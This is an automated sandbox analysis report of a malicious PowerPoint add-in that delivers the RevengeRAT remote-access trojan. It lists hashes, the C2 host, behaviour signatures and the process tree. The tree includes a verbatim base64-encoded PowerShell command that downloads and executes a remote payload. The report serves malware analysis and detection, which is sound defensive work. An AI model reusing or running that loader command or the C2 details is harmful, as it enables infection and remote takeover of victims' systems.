Analysis

  • max time kernel
    119s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    13-03-2024 13:14

General

  • Target

    Solicitacao n 3422022.ppam

  • Size

    21KB

  • MD5

    0fa350aeda0300d702cbffe77bdf26e1

  • SHA1

    3b9a66fd26bfd26cff53e222744b382da0735c74

  • SHA256

    dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044

  • SHA512

    d4514a79d24d5b165f0588cfa370a92e6d781add023878b515248c453153e26b9e701b2d5b7a1e02976783ba5925a0fd353d25ab8510419c4b6b30df2858e0d1

  • SSDEEP

    384:dXP27u0zBE0RZ+T9cx/7tsZKhNVqo6JV5ZjXDcd42nS5wYFjg1zTeQcxUwPMyvxh:VP2r60L+BS6ZkHqxJZkd42Sr9g1Xed0k

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Solicitacao n 3422022.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2848
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2400
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBBAHUAawB3AFoARABlAGsAawBXAHAAZABmAG8AdABmAEkASQBaAFQARwBrAEgAYwBOAEgATAB1AEEAdABVAGUAQwBOAGQASABPAFYATgBBAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1104
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:2988

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1104-30-0x0000000002980000-0x0000000002998000-memory.dmp
      Filesize

      96KB

    • memory/1104-37-0x0000000002980000-0x0000000002998000-memory.dmp
      Filesize

      96KB

    • memory/1104-33-0x0000000002980000-0x0000000002998000-memory.dmp
      Filesize

      96KB

    • memory/1104-31-0x0000000002980000-0x0000000002998000-memory.dmp
      Filesize

      96KB

    • memory/1104-58-0x000000006B4B0000-0x000000006BA5B000-memory.dmp
      Filesize

      5.7MB

    • memory/1104-42-0x00000000029B0000-0x00000000029B1000-memory.dmp
      Filesize

      4KB

    • memory/1104-35-0x0000000002980000-0x0000000002998000-memory.dmp
      Filesize

      96KB

    • memory/1104-13-0x000000006B4B0000-0x000000006BA5B000-memory.dmp
      Filesize

      5.7MB

    • memory/1104-14-0x0000000001C10000-0x0000000001C50000-memory.dmp
      Filesize

      256KB

    • memory/1104-15-0x000000006B4B0000-0x000000006BA5B000-memory.dmp
      Filesize

      5.7MB

    • memory/1104-41-0x0000000002980000-0x0000000002998000-memory.dmp
      Filesize

      96KB

    • memory/1104-39-0x0000000002980000-0x0000000002998000-memory.dmp
      Filesize

      96KB

    • memory/2848-62-0x00000000725FD000-0x0000000072608000-memory.dmp
      Filesize

      44KB

    • memory/2848-0-0x000000002D5F1000-0x000000002D5F2000-memory.dmp
      Filesize

      4KB

    • memory/2848-2-0x00000000725FD000-0x0000000072608000-memory.dmp
      Filesize

      44KB

    • memory/2848-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2848-10-0x0000000004A50000-0x0000000004B50000-memory.dmp
      Filesize

      1024KB

    • memory/2848-9-0x00000000725FD000-0x0000000072608000-memory.dmp
      Filesize

      44KB

    • memory/2848-6-0x0000000004A50000-0x0000000004B50000-memory.dmp
      Filesize

      1024KB

    • memory/2848-61-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2848-7-0x0000000005660000-0x0000000005760000-memory.dmp
      Filesize

      1024KB

    • memory/2988-49-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2988-51-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/2988-53-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2988-55-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2988-57-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2988-47-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2988-59-0x0000000067120000-0x000000006780E000-memory.dmp
      Filesize

      6.9MB

    • memory/2988-45-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2988-43-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2988-63-0x0000000000430000-0x0000000000470000-memory.dmp
      Filesize

      256KB

    • memory/2988-64-0x0000000067120000-0x000000006780E000-memory.dmp
      Filesize

      6.9MB